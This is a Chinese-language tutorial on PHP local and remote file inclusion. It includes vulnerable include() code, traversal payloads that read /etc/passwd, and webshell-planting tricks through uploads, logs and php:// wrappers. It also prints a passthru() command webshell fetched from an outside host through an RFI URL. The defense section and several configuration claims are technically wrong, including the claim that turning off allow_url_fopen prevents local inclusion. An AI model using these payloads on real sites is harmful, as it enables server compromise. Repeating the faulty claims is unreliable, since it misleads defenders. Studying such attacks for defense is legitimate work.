目录
文件包含漏洞成因
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。常见的文件包含的函数如下
PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
- Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
- Require:跟include唯一不同的是,当产生错误时候,include会继续运行而require停止运行。
- Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。
- Require_once:这个函数跟require函数作用几乎相同,与include_once和include类似。
- php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含。
使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行。
为什么要包含文件?
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件需要使用时进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写 include("share.php") ,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能并不能确定需要包含哪个文件,比如看下面的代码
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
上面这段代码的使用格式可能是这样的:
http://hi.baidu.com/m4r10/php/index.php?page=main.php
1、提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2、判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3、若$_GET[page]空的话就执行else,来 include "home.php" 这个文件。
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们
总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件。比如下面说的!
如何利用这个漏洞?
本地包含(LFI)
本地包含条件:
- allow_url_fopen=On
- 用户可以动态控制变量
针对以上代码,比如我们会随便的写入下面这个URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php)。。。。这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.phpon line 3
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3
第一行的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
通过报错,我们可以得知绝对路径 /vhost/wwwroot/php/
我们可以多次探测来包含其他文件,比如指定 www.xxx.com/index.php?test=./123.txt,来读出当前路径下的123.txt,也可以使用../来进行目录跳转(在没过滤../的情况下),也可以直接指定绝对路径,读取敏感的系统文件 ,比如 www.xxx.com/index.php?test=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect. 的 Warning。
如果我们可以上传文件的话,我们可以上传一句话木马,然后再包含一句话木马,再用菜刀连接拿下网站的Webshell
本地文件包含漏洞利用技巧
- 包含用户上传的文件 (我们上传的一句话木马等等)
- 包含data:// 或 php://input 等伪协议
- 包含 Session 文件
- 包含日志文件 ( 通过构造语句让服务器报错并将一句话随报错信息写入日志;找到日志文件路径,包含此文件;用菜刀连接;拿下网站的Webshell )
远程包含(RFI)
远程包含条件:
- allow_url_include=On
- 用户可以动态控制变量
我们可以指定其他URL上的一个我们写的一句话木马,然后用菜刀连接获取Webshell。
我们还可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "开始行"; //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "结束行"; //打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在开始行与结束行之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:
- ll 列目录、文件(相当于Windows下dir)
- pwd 查看当前绝对路径
- whoami 查看当前用户
- wget 下载指定URL的文件
文件包含漏洞的防御
在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了。